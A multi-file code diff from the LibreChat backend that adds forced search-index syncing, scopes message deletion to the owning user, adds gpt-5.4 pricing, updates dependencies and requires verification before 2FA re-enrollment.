# Set configurable max-old-space-size with default
|
# Set configurable max-old-space-size with default
|
||||||
ARG NODE_MAX_OLD_SPACE_SIZE=6144
|
ARG NODE_MAX_OLD_SPACE_SIZE=6144
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
const DALLE3 = require('../DALLE3');
|
const DALLE3 = require('../DALLE3');
|
||||||
const { ProxyAgent } = require('undici');
|
const { ProxyAgent } = require('undici');
|
||||||
|
|
||||||
jest.mock('tiktoken');
|
|
||||||
const processFileURL = jest.fn();
|
const processFileURL = jest.fn();
|
||||||
|
|
||||||
describe('DALLE3 Proxy Configuration', () => {
|
describe('DALLE3 Proxy Configuration', () => {
|
||||||
|
|
|
||||||
|
|
@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => {
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
jest.mock('tiktoken', () => {
|
|
||||||
return {
|
|
||||||
encoding_for_model: jest.fn().mockReturnValue({
|
|
||||||
encode: jest.fn(),
|
|
||||||
decode: jest.fn(),
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
const processFileURL = jest.fn();
|
const processFileURL = jest.fn();
|
||||||
|
|
||||||
const generate = jest.fn();
|
const generate = jest.fn();
|
||||||
|
|
|
||||||
|
|
@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) {
|
||||||
const messageCount = messageProgress.totalDocuments;
|
const messageCount = messageProgress.totalDocuments;
|
||||||
const messagesIndexed = messageProgress.totalProcessed;
|
const messagesIndexed = messageProgress.totalProcessed;
|
||||||
const unindexedMessages = messageCount - messagesIndexed;
|
const unindexedMessages = messageCount - messagesIndexed;
|
||||||
|
const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
|
||||||
|
|
||||||
if (settingsUpdated || unindexedMessages > syncThreshold) {
|
if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
|
||||||
|
if (noneIndexed && !settingsUpdated) {
|
||||||
|
logger.info('[indexSync] No messages marked as indexed, forcing full sync');
|
||||||
|
}
|
||||||
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
|
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
|
||||||
await Message.syncWithMeili();
|
await Message.syncWithMeili();
|
||||||
messagesSync = true;
|
messagesSync = true;
|
||||||
|
|
@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) {
|
||||||
|
|
||||||
const convoCount = convoProgress.totalDocuments;
|
const convoCount = convoProgress.totalDocuments;
|
||||||
const convosIndexed = convoProgress.totalProcessed;
|
const convosIndexed = convoProgress.totalProcessed;
|
||||||
|
|
||||||
const unindexedConvos = convoCount - convosIndexed;
|
const unindexedConvos = convoCount - convosIndexed;
|
||||||
if (settingsUpdated || unindexedConvos > syncThreshold) {
|
const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
|
||||||
|
|
||||||
|
if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
|
||||||
|
if (noneConvosIndexed && !settingsUpdated) {
|
||||||
|
logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
|
||||||
|
}
|
||||||
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
|
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
|
||||||
await Conversation.syncWithMeili();
|
await Conversation.syncWithMeili();
|
||||||
convosSync = true;
|
convosSync = true;
|
||||||
|
|
|
||||||
|
|
@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => {
|
||||||
);
|
);
|
||||||
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
|
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
|
||||||
|
Message.getSyncProgress.mockResolvedValue({
|
||||||
|
totalProcessed: 0,
|
||||||
|
totalDocuments: 680,
|
||||||
|
isComplete: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
Conversation.getSyncProgress.mockResolvedValue({
|
||||||
|
totalProcessed: 0,
|
||||||
|
totalDocuments: 76,
|
||||||
|
isComplete: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
Message.syncWithMeili.mockResolvedValue(undefined);
|
||||||
|
Conversation.syncWithMeili.mockResolvedValue(undefined);
|
||||||
|
|
||||||
|
const indexSync = require('./indexSync');
|
||||||
|
await indexSync();
|
||||||
|
|
||||||
|
expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
|
||||||
|
expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith(
|
||||||
|
'[indexSync] No messages marked as indexed, forcing full sync',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith(
|
||||||
|
'[indexSync] Starting message sync (680 unindexed)',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith(
|
||||||
|
'[indexSync] No conversations marked as indexed, forcing full sync',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('does NOT force sync when some documents already indexed and below threshold', async () => {
|
||||||
|
Message.getSyncProgress.mockResolvedValue({
|
||||||
|
totalProcessed: 630,
|
||||||
|
totalDocuments: 680,
|
||||||
|
isComplete: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
Conversation.getSyncProgress.mockResolvedValue({
|
||||||
|
totalProcessed: 70,
|
||||||
|
totalDocuments: 76,
|
||||||
|
isComplete: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
const indexSync = require('./indexSync');
|
||||||
|
await indexSync();
|
||||||
|
|
||||||
|
expect(Message.syncWithMeili).not.toHaveBeenCalled();
|
||||||
|
expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
|
||||||
|
expect(mockLogger.info).not.toHaveBeenCalledWith(
|
||||||
|
'[indexSync] No messages marked as indexed, forcing full sync',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).not.toHaveBeenCalledWith(
|
||||||
|
'[indexSync] No conversations marked as indexed, forcing full sync',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith(
|
||||||
|
'[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
|
||||||
|
);
|
||||||
|
expect(mockLogger.info).toHaveBeenCalledWith(
|
||||||
|
'[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
|
||||||
|
);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -3,12 +3,13 @@ module.exports = {
|
||||||
clearMocks: true,
|
clearMocks: true,
|
||||||
roots: ['<rootDir>'],
|
roots: ['<rootDir>'],
|
||||||
coverageDirectory: 'coverage',
|
coverageDirectory: 'coverage',
|
||||||
|
maxWorkers: '50%',
|
||||||
testTimeout: 30000, // 30 seconds timeout for all tests
|
testTimeout: 30000, // 30 seconds timeout for all tests
|
||||||
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
|
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
|
||||||
moduleNameMapper: {
|
moduleNameMapper: {
|
||||||
'~/(.*)': '<rootDir>/$1',
|
'~/(.*)': '<rootDir>/$1',
|
||||||
'~/data/auth.json': '<rootDir>/__mocks__/auth.mock.json',
|
'~/data/auth.json': '<rootDir>/__mocks__/auth.mock.json',
|
||||||
'^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part
|
'^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js',
|
||||||
'^openid-client$': '<rootDir>/test/__mocks__/openid-client.js',
|
'^openid-client$': '<rootDir>/test/__mocks__/openid-client.js',
|
||||||
},
|
},
|
||||||
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
|
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
|
||||||
|
|
|
||||||
|
|
@ -228,7 +228,7 @@ module.exports = {
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
};
|
};
|
||||||
} catch (err) {
|
} catch (_err) {
|
||||||
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
|
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
|
||||||
}
|
}
|
||||||
if (cursorFilter) {
|
if (cursorFilter) {
|
||||||
|
|
@ -361,6 +361,7 @@ module.exports = {
|
||||||
|
|
||||||
const deleteMessagesResult = await deleteMessages({
|
const deleteMessagesResult = await deleteMessages({
|
||||||
conversationId: { $in: conversationIds },
|
conversationId: { $in: conversationIds },
|
||||||
|
user,
|
||||||
});
|
});
|
||||||
|
|
||||||
return { ...deleteConvoResult, messages: deleteMessagesResult };
|
return { ...deleteConvoResult, messages: deleteMessagesResult };
|
||||||
|
|
|
||||||
|
|
@ -549,6 +549,7 @@ describe('Conversation Operations', () => {
|
||||||
expect(result.messages.deletedCount).toBe(5);
|
expect(result.messages.deletedCount).toBe(5);
|
||||||
expect(deleteMessages).toHaveBeenCalledWith({
|
expect(deleteMessages).toHaveBeenCalledWith({
|
||||||
conversationId: { $in: [mockConversationData.conversationId] },
|
conversationId: { $in: [mockConversationData.conversationId] },
|
||||||
|
user: 'user123',
|
||||||
});
|
});
|
||||||
|
|
||||||
// Verify conversation was deleted
|
// Verify conversation was deleted
|
||||||
|
|
|
||||||
|
|
@ -4,31 +4,18 @@ const defaultRate = 6;
|
||||||
/**
|
/**
|
||||||
* Token Pricing Configuration
|
* Token Pricing Configuration
|
||||||
*
|
*
|
||||||
* IMPORTANT: Key Ordering for Pattern Matching
|
* Pattern Matching
|
||||||
* ============================================
|
* ================
|
||||||
* The `findMatchingPattern` function iterates through object keys in REVERSE order
|
* `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
|
||||||
* (last-defined keys are checked first) and uses `modelName.includes(key)` for matching.
|
* the LONGEST matching key. If a key's length equals the model name's length (exact match),
|
||||||
|
* it returns immediately. Definition order does NOT affect correctness.
|
||||||
*
|
*
|
||||||
* This means:
|
* Key ordering matters only for:
|
||||||
* 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot")
|
* 1. Performance: list older/less common models first so newer/common models
|
||||||
* 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5")
|
* are found earlier in the reverse scan.
|
||||||
*
|
* 2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
|
||||||
* Example ordering for Kimi models:
|
|
||||||
* kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern - checked last
|
|
||||||
* 'kimi-k2': { prompt: 0.6, completion: 2.5 }, // More specific - checked before "kimi"
|
|
||||||
* 'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, // Most specific - checked first
|
|
||||||
*
|
|
||||||
* Why this matters:
|
|
||||||
* - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
|
|
||||||
* - If "kimi" were checked first, it would incorrectly match and return wrong pricing
|
|
||||||
* - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
|
|
||||||
*
|
*
|
||||||
* This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
|
* This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
|
||||||
*
|
|
||||||
* When adding new model families:
|
|
||||||
* 1. Define the base/generic pattern first
|
|
||||||
* 2. Define increasingly specific patterns after
|
|
||||||
* 3. Ensure no pattern is a substring of another that should match differently
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|
@ -151,6 +138,9 @@ const tokenValues = Object.assign(
|
||||||
'gpt-5.1': { prompt: 1.25, completion: 10 },
|
'gpt-5.1': { prompt: 1.25, completion: 10 },
|
||||||
'gpt-5.2': { prompt: 1.75, completion: 14 },
|
'gpt-5.2': { prompt: 1.75, completion: 14 },
|
||||||
'gpt-5.3': { prompt: 1.75, completion: 14 },
|
'gpt-5.3': { prompt: 1.75, completion: 14 },
|
||||||
|
'gpt-5.4': { prompt: 2.5, completion: 15 },
|
||||||
|
// TODO: gpt-5.4-pro pricing not yet officially published — verify before release
|
||||||
|
'gpt-5.4-pro': { prompt: 5, completion: 30 },
|
||||||
'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
|
'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
|
||||||
'gpt-5-mini': { prompt: 0.25, completion: 2 },
|
'gpt-5-mini': { prompt: 0.25, completion: 2 },
|
||||||
'gpt-5-pro': { prompt: 15, completion: 120 },
|
'gpt-5-pro': { prompt: 15, completion: 120 },
|
||||||
|
|
@ -322,7 +312,7 @@ const cacheTokenValues = {
|
||||||
// gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
|
// gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
|
||||||
// gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
|
// gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
|
||||||
// gpt-5.x (excl. pro variants): 90% off
|
// gpt-5.x (excl. pro variants): 90% off
|
||||||
// gpt-5-pro, gpt-5.2-pro: no caching
|
// gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
|
||||||
'gpt-4o': { write: 2.5, read: 1.25 },
|
'gpt-4o': { write: 2.5, read: 1.25 },
|
||||||
'gpt-4o-mini': { write: 0.15, read: 0.075 },
|
'gpt-4o-mini': { write: 0.15, read: 0.075 },
|
||||||
'gpt-4.1': { write: 2, read: 0.5 },
|
'gpt-4.1': { write: 2, read: 0.5 },
|
||||||
|
|
@ -332,6 +322,7 @@ const cacheTokenValues = {
|
||||||
'gpt-5.1': { write: 1.25, read: 0.125 },
|
'gpt-5.1': { write: 1.25, read: 0.125 },
|
||||||
'gpt-5.2': { write: 1.75, read: 0.175 },
|
'gpt-5.2': { write: 1.75, read: 0.175 },
|
||||||
'gpt-5.3': { write: 1.75, read: 0.175 },
|
'gpt-5.3': { write: 1.75, read: 0.175 },
|
||||||
|
'gpt-5.4': { write: 2.5, read: 0.25 },
|
||||||
'gpt-5-mini': { write: 0.25, read: 0.025 },
|
'gpt-5-mini': { write: 0.25, read: 0.025 },
|
||||||
'gpt-5-nano': { write: 0.05, read: 0.005 },
|
'gpt-5-nano': { write: 0.05, read: 0.005 },
|
||||||
o1: { write: 15, read: 7.5 },
|
o1: { write: 15, read: 7.5 },
|
||||||
|
|
|
||||||
|
|
@ -59,6 +59,17 @@ describe('getValueKey', () => {
|
||||||
expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
|
expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
|
||||||
|
expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
|
||||||
|
expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
|
||||||
|
expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
|
||||||
|
expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
|
||||||
|
expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
|
||||||
|
});
|
||||||
|
|
||||||
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
|
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
|
||||||
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
|
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
|
||||||
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
|
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
|
||||||
|
|
@ -400,6 +411,33 @@ describe('getMultiplier', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should return the correct multiplier for gpt-5.4', () => {
|
||||||
|
expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
|
||||||
|
tokenValues['gpt-5.4'].prompt,
|
||||||
|
);
|
||||||
|
expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
|
||||||
|
tokenValues['gpt-5.4'].completion,
|
||||||
|
);
|
||||||
|
expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
|
||||||
|
tokenValues['gpt-5.4'].prompt,
|
||||||
|
);
|
||||||
|
expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
|
||||||
|
tokenValues['gpt-5.4'].completion,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return the correct multiplier for gpt-5.4-pro', () => {
|
||||||
|
expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
|
||||||
|
tokenValues['gpt-5.4-pro'].prompt,
|
||||||
|
);
|
||||||
|
expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
|
||||||
|
tokenValues['gpt-5.4-pro'].completion,
|
||||||
|
);
|
||||||
|
expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
|
||||||
|
tokenValues['gpt-5.4-pro'].prompt,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
it('should return the correct multiplier for gpt-4o', () => {
|
it('should return the correct multiplier for gpt-4o', () => {
|
||||||
const valueKey = getValueKey('gpt-4o-2024-08-06');
|
const valueKey = getValueKey('gpt-4o-2024-08-06');
|
||||||
expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
|
expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
|
||||||
|
|
@ -1377,6 +1415,7 @@ describe('getCacheMultiplier', () => {
|
||||||
'gpt-5.1',
|
'gpt-5.1',
|
||||||
'gpt-5.2',
|
'gpt-5.2',
|
||||||
'gpt-5.3',
|
'gpt-5.3',
|
||||||
|
'gpt-5.4',
|
||||||
'gpt-5-mini',
|
'gpt-5-mini',
|
||||||
'gpt-5-nano',
|
'gpt-5-nano',
|
||||||
'o1',
|
'o1',
|
||||||
|
|
@ -1413,10 +1452,20 @@ describe('getCacheMultiplier', () => {
|
||||||
expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
|
expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
|
||||||
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
|
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
|
||||||
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
|
expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
|
||||||
|
expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
|
||||||
|
expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
|
it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
|
||||||
const gpt5CacheModels = ['gpt-5', 'gpt-5.1', 'gpt-5.2', 'gpt-5.3', 'gpt-5-mini', 'gpt-5-nano'];
|
const gpt5CacheModels = [
|
||||||
|
'gpt-5',
|
||||||
|
'gpt-5.1',
|
||||||
|
'gpt-5.2',
|
||||||
|
'gpt-5.3',
|
||||||
|
'gpt-5.4',
|
||||||
|
'gpt-5-mini',
|
||||||
|
'gpt-5-nano',
|
||||||
|
];
|
||||||
for (const model of gpt5CacheModels) {
|
for (const model of gpt5CacheModels) {
|
||||||
expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
|
expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
{
|
{
|
||||||
"name": "@librechat/backend",
|
"name": "@librechat/backend",
|
||||||
"version": "v0.8.3-rc2",
|
"version": "v0.8.3",
|
||||||
"description": "",
|
"description": "",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"start": "echo 'please run this from the root directory'",
|
"start": "echo 'please run this from the root directory'",
|
||||||
|
|
@ -51,6 +51,7 @@
|
||||||
"@modelcontextprotocol/sdk": "^1.27.1",
|
"@modelcontextprotocol/sdk": "^1.27.1",
|
||||||
"@node-saml/passport-saml": "^5.1.0",
|
"@node-saml/passport-saml": "^5.1.0",
|
||||||
"@smithy/node-http-handler": "^4.4.5",
|
"@smithy/node-http-handler": "^4.4.5",
|
||||||
|
"ai-tokenizer": "^1.0.6",
|
||||||
"axios": "^1.13.5",
|
"axios": "^1.13.5",
|
||||||
"bcryptjs": "^2.4.3",
|
"bcryptjs": "^2.4.3",
|
||||||
"compression": "^1.8.1",
|
"compression": "^1.8.1",
|
||||||
|
|
@ -63,10 +64,10 @@
|
||||||
"eventsource": "^3.0.2",
|
"eventsource": "^3.0.2",
|
||||||
"express": "^5.2.1",
|
"express": "^5.2.1",
|
||||||
"express-mongo-sanitize": "^2.2.0",
|
"express-mongo-sanitize": "^2.2.0",
|
||||||
"express-rate-limit": "^8.2.1",
|
"express-rate-limit": "^8.3.0",
|
||||||
"express-session": "^1.18.2",
|
"express-session": "^1.18.2",
|
||||||
"express-static-gzip": "^2.2.0",
|
"express-static-gzip": "^2.2.0",
|
||||||
"file-type": "^18.7.0",
|
"file-type": "^21.3.2",
|
||||||
"firebase": "^11.0.2",
|
"firebase": "^11.0.2",
|
||||||
"form-data": "^4.0.4",
|
"form-data": "^4.0.4",
|
||||||
"handlebars": "^4.7.7",
|
"handlebars": "^4.7.7",
|
||||||
|
|
@ -87,7 +88,7 @@
|
||||||
"mime": "^3.0.0",
|
"mime": "^3.0.0",
|
||||||
"module-alias": "^2.2.3",
|
"module-alias": "^2.2.3",
|
||||||
"mongoose": "^8.12.1",
|
"mongoose": "^8.12.1",
|
||||||
"multer": "^2.1.0",
|
"multer": "^2.1.1",
|
||||||
"nanoid": "^3.3.7",
|
"nanoid": "^3.3.7",
|
||||||
"node-fetch": "^2.7.0",
|
"node-fetch": "^2.7.0",
|
||||||
"nodemailer": "^7.0.11",
|
"nodemailer": "^7.0.11",
|
||||||
|
|
@ -106,10 +107,9 @@
|
||||||
"pdfjs-dist": "^5.4.624",
|
"pdfjs-dist": "^5.4.624",
|
||||||
"rate-limit-redis": "^4.2.0",
|
"rate-limit-redis": "^4.2.0",
|
||||||
"sharp": "^0.33.5",
|
"sharp": "^0.33.5",
|
||||||
"tiktoken": "^1.0.15",
|
|
||||||
"traverse": "^0.6.7",
|
"traverse": "^0.6.7",
|
||||||
"ua-parser-js": "^1.0.36",
|
"ua-parser-js": "^1.0.36",
|
||||||
"undici": "^7.18.2",
|
"undici": "^7.24.1",
|
||||||
"winston": "^3.11.0",
|
"winston": "^3.11.0",
|
||||||
"winston-daily-rotate-file": "^5.0.0",
|
"winston-daily-rotate-file": "^5.0.0",
|
||||||
"xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
|
"xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,6 @@
|
||||||
const { encryptV3, logger } = require('@librechat/data-schemas');
|
const { encryptV3, logger } = require('@librechat/data-schemas');
|
||||||
const {
|
const {
|
||||||
|
verifyOTPOrBackupCode,
|
||||||
generateBackupCodes,
|
generateBackupCodes,
|
||||||
generateTOTPSecret,
|
generateTOTPSecret,
|
||||||
verifyBackupCode,
|
verifyBackupCode,
|
||||||
|
|
@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
|
||||||
/**
|
/**
|
||||||
* Enable 2FA for the user by generating a new TOTP secret and backup codes.
|
* Enable 2FA for the user by generating a new TOTP secret and backup codes.
|
||||||
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
|
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
|
||||||
|
* If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
|
||||||
*/
|
*/
|
||||||
const enable2FA = async (req, res) => {
|
const enable2FA = async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const userId = req.user.id;
|
const userId = req.user.id;
|
||||||
|
const existingUser = await getUserById(
|
||||||
|
userId,
|
||||||
|
'+totpSecret +backupCodes _id twoFactorEnabled email',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (existingUser && existingUser.twoFactorEnabled) {
|
||||||
|
const { token, backupCode } = req.body;
|
||||||
|
const result = await verifyOTPOrBackupCode({
|
||||||
|
user: existingUser,
|
||||||
|
token,
|
||||||
|
backupCode,
|
||||||
|
persistBackupUse: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!result.verified) {
|
||||||
|
const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
|
||||||
|
return res.status(result.status ?? 400).json({ message: msg });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const secret = generateTOTPSecret();
|
const secret = generateTOTPSecret();
|
||||||
const { plainCodes, codeObjects } = await generateBackupCodes();
|
const { plainCodes, codeObjects } = await generateBackupCodes();
|
||||||
|
|
||||||
// Encrypt the secret with v3 encryption before saving.
|
|
||||||
const encryptedSecret = encryptV3(secret);
|
const encryptedSecret = encryptV3(secret);
|
||||||
|
|
||||||
// Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
|
|
||||||
const user = await updateUser(userId, {
|
const user = await updateUser(userId, {
|
||||||
totpSecret: encryptedSecret,
|
pendingTotpSecret: encryptedSecret,
|
||||||
backupCodes: codeObjects,
|
pendingBackupCodes: codeObjects,
|
||||||
twoFactorEnabled: false,
|
|
||||||
});
|
});
|
||||||
|
|
||||||
const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`;
|
const email = user.email || (existingUser && existingUser.email) || '';
|
||||||
|
const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
|
||||||
|
|
||||||
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
|
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
|
|
@ -46,13 +65,14 @@ const verify2FA = async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const userId = req.user.id;
|
const userId = req.user.id;
|
||||||
const { token, backupCode } = req.body;
|
const { token, backupCode } = req.body;
|
||||||
const user = await getUserById(userId, '_id totpSecret backupCodes');
|
const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
|
||||||
|
const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
|
||||||
|
|
||||||
if (!user || !user.totpSecret) {
|
if (!user || !secretSource) {
|
||||||
return res.status(400).json({ message: '2FA not initiated' });
|
return res.status(400).json({ message: '2FA not initiated' });
|
||||||
}
|
}
|
||||||
|
|
||||||
const secret = await getTOTPSecret(user.totpSecret);
|
const secret = await getTOTPSecret(secretSource);
|
||||||
let isVerified = false;
|
let isVerified = false;
|
||||||
|
|
||||||
if (token) {
|
if (token) {
|
||||||
|
|
@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const userId = req.user.id;
|
const userId = req.user.id;
|
||||||
const { token } = req.body;
|
const { token } = req.body;
|
||||||
const user = await getUserById(userId, '_id totpSecret');
|
const user = await getUserById(
|
||||||
|
userId,
|
||||||
|
'+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
|
||||||
|
);
|
||||||
|
const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
|
||||||
|
|
||||||
if (!user || !user.totpSecret) {
|
if (!user || !secretSource) {
|
||||||
return res.status(400).json({ message: '2FA not initiated' });
|
return res.status(400).json({ message: '2FA not initiated' });
|
||||||
}
|
}
|
||||||
|
|
||||||
const secret = await getTOTPSecret(user.totpSecret);
|
const secret = await getTOTPSecret(secretSource);
|
||||||
if (await verifyTOTP(secret, token)) {
|
if (await verifyTOTP(secret, token)) {
|
||||||
await updateUser(userId, { twoFactorEnabled: true });
|
const update = {
|
||||||
|
totpSecret: user.pendingTotpSecret ?? user.totpSecret,
|
||||||
|
twoFactorEnabled: true,
|
||||||
|
pendingTotpSecret: null,
|
||||||
|
pendingBackupCodes: [],
|
||||||
|
};
|
||||||
|
if (user.pendingBackupCodes?.length) {
|
||||||
|
update.backupCodes = user.pendingBackupCodes;
|
||||||
|
}
|
||||||
|
await updateUser(userId, update);
|
||||||
return res.status(200).json();
|
return res.status(200).json();
|
||||||
}
|
}
|
||||||
return res.status(400).json({ message: 'Invalid token.' });
|
return res.status(400).json({ message: 'Invalid token.' });
|
||||||
|
|
@ -104,31 +137,27 @@ const disable2FA = async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const userId = req.user.id;
|
